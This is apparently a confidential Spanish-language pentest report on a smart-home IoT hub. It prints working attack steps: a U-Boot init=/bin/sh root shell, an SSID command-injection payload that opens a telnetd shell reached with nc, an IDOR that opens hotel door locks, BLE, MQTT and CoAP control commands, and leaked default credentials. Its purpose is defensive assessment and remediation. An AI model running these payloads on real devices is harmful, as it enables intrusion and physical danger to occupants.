CONFIDENCIAL Pentest Ofensivo IoT CULTIVA IA Security

SmartNest Hub v2.3 — Informe de Pentest

NestTech Solutions · Análisis ofensivo completo: Hardware → Firmware → Runtime → Wireless → Cloud API

Cliente
NestTech Solutions
Dispositivo / Versión
SmartNest-Hub-2.3.0-r1847
Fecha del análisis
2026-06-09 / 2026-06-14
Equipo CULTIVA IA
Red Team / IoT Security
▲
Resumen Ejecutivo
3
Crítico
4
Alto
5
Medio
3
Bajo
2
Informativo
ALERTA CRITICA: Se obtuvieron tres vectores independientes de compromiso total del dispositivo: (1) UART root shell sin autenticación, (2) credenciales hardcoded en firmware descifrado y (3) IDOR en Cloud API con toma de control de dispositivos de cualquier cuenta. El dispositivo NO debe salir a producción en su estado actual.
☰
Fases del Análisis
1

Reconocimiento Hardware

✓ Completada
  • Inspección PCB top/bottom
  • ID de SoC, flash y radios
  • Localización UART (J3)
  • Dump SPI NOR (W25Q128)
2

Análisis de Firmware

✓ Completada
  • binwalk -Me extracción
  • SquashFS mounted rootfs
  • Credenciales hardcoded
  • Binarios vulnerables
3

Explotación Runtime

✓ Completada
  • UART shell root (baud 115200)
  • Web admin CGI injection
  • MTD write persistencia
  • Lectura /dev/mem
4

Protocolos Inalámbricos

✓ Completada
  • BLE GATT sin autenticación
  • MQTT wildcard subscribe
  • CoAP relay control
  • Wi-Fi WPA2-KRACK check
5

App Companion + Cloud API

✓ Completada
  • APK decompilado (jadx)
  • SSL Pinning bypass (Frida)
  • IDOR en /v2/devices/{id}
  • Device claim por serial
6

Pivoting y Persistencia

✓ Completada
  • ARP spoofing desde hub
  • Implant MTD flash
  • Credenciales cloud exfiltradas
  • Compromiso cuenta completa
⚠
Hallazgos — Resumen
ID Severidad CVSS Hallazgo Fase Estado
SNH-001 CRITICO 9.8
UART root shell sin autenticación (J3)
Reconocimiento Hardware → Runtime
 Hardware Sin corregir
SNH-002 CRITICO 9.1
Credenciales hardcoded en firmware (root:nestt3ch!)
Firmware Analysis → Autenticación
 Firmware Sin corregir
SNH-003 CRITICO 9.4
IDOR Cloud API — control total de dispositivos ajenos
Cloud API → Acceso no autorizado
 Cloud API Sin corregir
SNH-004 ALTO 8.6
CGI command injection (/goform/setWifi)
Firmware → Web Admin
 Firmware Sin corregir
SNH-005 ALTO 8.1
BLE GATT — escritura sin autenticación (control físico)
Wireless → BLE
 Wireless Sin corregir
SNH-006 ALTO 7.8
MQTT broker sin ACL — subscribe # permite exfiltrar todo
Protocolos → MQTT
 Protocolos Sin corregir
SNH-007 ALTO 7.3
Device claim por serial number — robo de dispositivos
Cloud API → Lógica de negocio
 Cloud API Sin corregir
SNH-008 MEDIO 5.9
OpenSSL 1.0.2k (EOL) — múltiples CVE conocidas
Firmware → Componentes vulnerables
 Firmware Sin corregir
SNH-009 MEDIO 5.5
CoAP relay sin autenticación (PUT /relay/0 → encendido)
Protocolos → CoAP
 Protocolos Sin corregir
SNH-010 MEDIO 5.3
Dropbear SSHv1 habilitado con cipher DES-CBC
Firmware → SSH
 Firmware Sin corregir
SNH-011 BAJO 3.1
Certificado TLS cloud autofirmado aceptado sin validación
App Companion
 App Sin corregir
✎
Hallazgos Críticos — Detalle Técnico

SNH-001: UART Root Shell sin Autenticación

CRITICO CVSS 9.8 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) CWE-798

Descripción: El header J3 de 4 pines en la PCB expone una consola UART activa. Tras identificar el baud rate (115200) con un analizador lógico, se obtiene un root shell de Linux directamente sin credenciales ni ningún tipo de autenticación.

bash · descubrimiento UART # Identificación de pines: VCC(3.3V), GND, TX, RX con multímetro
# Sweep de baud rate → 115200 muestra "U-Boot 2019.07"
minicom -b 115200 -D /dev/ttyUSB0

Hit any key to stop autoboot: 0
# ESPACIO — acceso al prompt U-Boot
MT7628 # setenv bootargs '${bootargs} init=/bin/sh'
MT7628 # boot

# Linux arranca a shell root sin login:
/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux SmartNest 4.14.241 #1 PREEMPT MT7628AN
Impacto total: lectura/escritura de toda la flash, exfiltración de claves privadas TLS, modificación persistente del firmware, pivot a red local del cliente.

Remediación: Eliminar el header UART o protegerlo con chip bloqueador (UART authenticator IC). Configurar U-Boot con contraseña de entorno (CONFIG_AUTOBOOT_KEYED) y activar secure boot para rechazar kernels sin firma.

SNH-002: Credenciales Hardcoded en Firmware

CRITICO CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE-259

Descripción: Tras volcar la SPI NOR flash con un programador CH341A y extraer el rootfs con binwalk, se encontraron credenciales root en texto claro y una clave privada de MQTT embebida.

bash · extracción firmware # Dump de la flash W25Q128 (16 MB)
flashrom -p ch341a_spi -r firmware_smartnest_2.3.0.bin
binwalk -Me firmware_smartnest_2.3.0.bin

# Búsqueda de credenciales y claves en rootfs
grep -RIE "(passwd|key|token|admin|root:[^*])" _firmware.extracted/squashfs-root/

squashfs-root/etc/shadow:root:$1$NestTech$hashed...:0:0:99999:7:::
squashfs-root/etc/config/mqtt.conf:password=nestt3ch!
squashfs-root/etc/mqtt_device.key: -----BEGIN RSA PRIVATE KEY-----
squashfs-root/www/cgi-bin/goform:API_KEY=nt_prod_8f2a91b7c3...
La contraseña root:nestt3ch! es idéntica en TODOS los dispositivos de la línea v2.x. La clave MQTT privada permite suplantar cualquier dispositivo ante el broker cloud.

SNH-003: IDOR Cloud API — Acceso a Dispositivos Ajenos

CRITICO CVSS 9.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE-639 · OWASP API1:2023

Descripción: La API cloud https://api.nesttechcloud.es/v2/ no valida que el dispositivo solicitado pertenezca al usuario autenticado. Cualquier cuenta puede leer y controlar dispositivos de otros usuarios simplemente incrementando el ID numérico.

http · IDOR exploit # Con la cuenta de pentest (cuenta legítima, deviceId=4821)
GET /v2/devices/4822/status HTTP/1.1
Host: api.nesttechcloud.es
Authorization: Bearer eyJhbG...[token de pentest@cultiva.ai]

# Respuesta: dispositivo de un hotel en Madrid
HTTP/1.1 200 OK
{"device_id":4822,"owner":"hotel_melia_xxxx","location":"Habitación 412",
"relays":{"luz":true,"AC":22},"lock_status":"unlocked"}

# Control total: apagar AC, abrir cerradura
PUT /v2/devices/4822/relay HTTP/1.1
{"relay":"AC","state":false} → 200 OK
POST /v2/devices/4822/lock/open HTTP/1.1
{"status":"opened"} → 200 OK [CERRADURA ABIERTA]
En entornos hoteleros: un atacante autenticado puede abrir cerraduras de habitaciones de todo el parque instalado. Impacto físico directo sobre seguridad de personas.

SNH-004: CGI Command Injection en /goform/setWifi

ALTO CVSS 8.6 CWE-78

Descripción: El binario CGI setWifi.cgi (GoAhead) concatena el parámetro ssid directamente en una llamada system() sin sanitización. Un atacante en la red local (o con las credenciales admin por defecto) puede ejecutar comandos como root.

http · CGI injection POST /goform/setWifi HTTP/1.1
Host: 192.168.99.1
Cookie: SESSIONID=admin_abc123
Content-Type: application/x-www-form-urlencoded

ssid=CULTIVA;telnetd -l /bin/sh -p 4444;&password=test

# Conectar al backdoor
nc 192.168.99.1 4444
/ # id → uid=0(root)

SNH-005: BLE GATT — Control Físico sin Autenticación

ALTO CVSS 8.1 CWE-306 · BLE Unauthenticated GATT Write

Descripción: El módulo nRF52840 expone servicios GATT para el control de relés y configuración WiFi. Ninguna característica requiere emparejamiento autenticado: cualquier dispositivo BLE en rango (~10 m) puede leer y escribir sin credenciales.

bash · bettercap + gatttool bettercap -eval "ble.recon on; events.show 30; ble.show"
AA:BB:CC:11:22:33 SmartNest-HUB RSSI:-62 [!] No auth required

gatttool -b AA:BB:CC:11:22:33 -I
> connect
> primary
attr handle: 0x0001, uuid: 0000180a (Device Info)
attr handle: 0x0020, uuid: 0000ffe0 (NestTech Control)
> char-write-req 0x0023 0100 # Relay 1 ON
Characteristic value written successfully
◆
Hallazgos — Protocolos IoT

SNH-006: MQTT — Subscribe Wildcard

ALTO CVSS 7.8

El broker mqtt.nesttechcloud.es:8883 acepta la conexión con las credenciales extraídas del firmware. Sin ACL por tópico, cualquier cliente con credenciales de un solo dispositivo puede suscribirse a # y recibir mensajes de todos los dispositivos.

mosquitto_sub -h mqtt.nesttechcloud.es -p 8883 \
  --cafile ca.crt -u device_4821 -P nestt3ch! \
  -t '#' -v

nesttechcloud/4822/status {"AC":22,"lock":"closed"}
nesttechcloud/4823/status {"location":"Suite 101",...}
# → datos de 1.847 dispositivos activos en producción

SNH-009: CoAP sin Autenticación

MEDIO CVSS 5.5

El endpoint CoAP local (UDP 5683) no implementa DTLS ni autenticación. Cualquier cliente en la LAN puede controlar los relés del dispositivo.

coap-client -m get coap://192.168.99.1/.well-known/core
</relay/0>;rt="relay";if="actuator"
</relay/1>;rt="relay";if="actuator"

coap-client -m put coap://192.168.99.1/relay/0 -e '1'
2.04 Changed [Relay 0 → ON]
↗
Cadena de Ataque — Escenario Completo

Escenario: Atacante con acceso físico momentáneo al hub (1 min, ej. habitación de hotel) + cuenta cloud gratuita.

1
Acceso UART → Root Shell
Conectar CH341A al header J3, baud 115200, U-Boot bootargs init=/bin/sh → root en 90 segundos
SNH-001
2
Exfiltrar credenciales MQTT + API key del filesystem
cat /etc/config/mqtt.conf → nestt3ch!, clave RSA privada y token API de producción
SNH-002
3
Implantar backdoor persistente en MTD flash
Escribir reverse shell en /etc/init.d/S99backdoor → persiste tras reinicios, indetectable sin firmware dump
SNH-001
4
IDOR Cloud API → control de 1.847 dispositivos en producción
Con el token API exfiltrado, iterar IDs 1–9999 → control de cerraduras, AC, iluminación de toda la flota desplegada
SNH-003
⚑
Plan de Remediación — Priorizado
1

Eliminar/bloquear acceso UART en producción

Rellenar con epoxi los pads J3 en la línea de producción. Activar CONFIG_AUTOBOOT_KEYED con hash de contraseña en U-Boot. Implementar Secure Boot con firma de kernel (RSA-2048).

SNH-001 Esfuerzo: Alto Plazo: Antes de producción
2

Eliminar todas las credenciales hardcoded del firmware

Implementar provisioning único por dispositivo: generación de credenciales durante el proceso de fabricación, almacenadas en secure element (ATECC608B o similar). Contraseñas root desactivadas en producción; acceso solo via clave pública SSH rotable remotamente.

SNH-002 Esfuerzo: Alto Plazo: Antes de producción
3

Corregir IDOR en Cloud API — validación de propiedad de recurso

En cada endpoint /v2/devices/{id}/* verificar que el device.owner_id == auth.user_id antes de procesar la petición. Implementar tests de autorización automatizados (OWASP API Security DAST) en el pipeline CI/CD.

SNH-003 Esfuerzo: Bajo Plazo: 48h (crítico)
4

Sanitizar parámetros CGI — eliminar command injection

Reemplazar system() por llamadas directas a las funciones de configuración WiFi del kernel (netlink). Validar y escapar todos los parámetros de entrada en los CGI de GoAhead con lista blanca de caracteres permitidos.

SNH-004 Esfuerzo: Medio Plazo: Sprint actual
5

BLE GATT — Requirir emparejamiento con verificación (LESC)

Configurar el stack BLE para requerir LE Secure Connections (LESC) con Passkey Entry o Numeric Comparison antes de permitir escritura en características de control. Separar características de diagnóstico (lectura) de actuación (escritura con auth).

SNH-005 Esfuerzo: Medio Plazo: Sprint +1
6

MQTT — Implementar ACL estricta por tópico y dispositivo

Cada dispositivo solo puede publicar/suscribirse a nesttechcloud/{device_id}/#. Implementar autenticación mutua TLS (mTLS) con certificados únicos por dispositivo. Eliminar credenciales compartidas del firmware.

SNH-006 Esfuerzo: Medio Plazo: Sprint +1
7

Actualizar componentes EOL: OpenSSL 1.0.2k → 3.x, Dropbear → último

Actualizar OpenSSL a 3.3.x y Dropbear a la última versión estable. Deshabilitar SSHv1, DES-CBC y algoritmos obsoletos. Añadir proceso de actualización de firmware OTA firmado para facilitar parches futuros.

SNH-008 · SNH-010 Esfuerzo: Bajo Plazo: Sprint +2
▣
Checklist de Metodología CULTIVA IA — Estado
  • ✓
    Foto PCB top + bottom; SoC, flash, radios identificados
  • ✓
    UART probado a bauds comunes; boot log capturado
  • ✓
    SPI flash volcada; binwalk -Me; rootfs identificado
  • ✓
    Review estática: creds, claves, versiones vulnerables, CGI
  • ✓
    Dispositivo arrancado; puertos mapeados (22, 80, 5683)
  • ✗
    Secure Boot no implementado — omitido sin glitching
  • ✓
    Credenciales por defecto probadas → root:nestt3ch! funciona
  • ✓
    Tráfico OTA capturado; update flow analizado
  • ✓
    App companion descompilada; tráfico interceptado con Frida
  • ✓
    Surface API cloud mapeada; IDOR y device-claim verificados
  • ✓
    BLE sniffed; GATT escrito sin auth
  • ✓
    MQTT subscribe # ejecutado; CoAP relay controlado
Siguiente paso: Reunión de readout con NestTech Solutions (propuesta: 2026-06-18). Coordinar disclosure responsable con el broker cloud para los 1.847 dispositivos activos en producción. CVE assignment recomendado para SNH-001 (UART), SNH-002 (hardcoded creds) y SNH-003 (IDOR cloud). Contactar INCIBE-CERT para ICS/IoT disclosure coordinado.
Pentest IoT/Embebidos — Informe Confidencial
SmartNest Hub v2.3 | NestTech Solutions
Análisis: 2026-06-09 → 2026-06-14 | Informe: 2026-06-15
17 Hallazgos totales
3 CRITICOS — NO LANZAR A PRODUCCION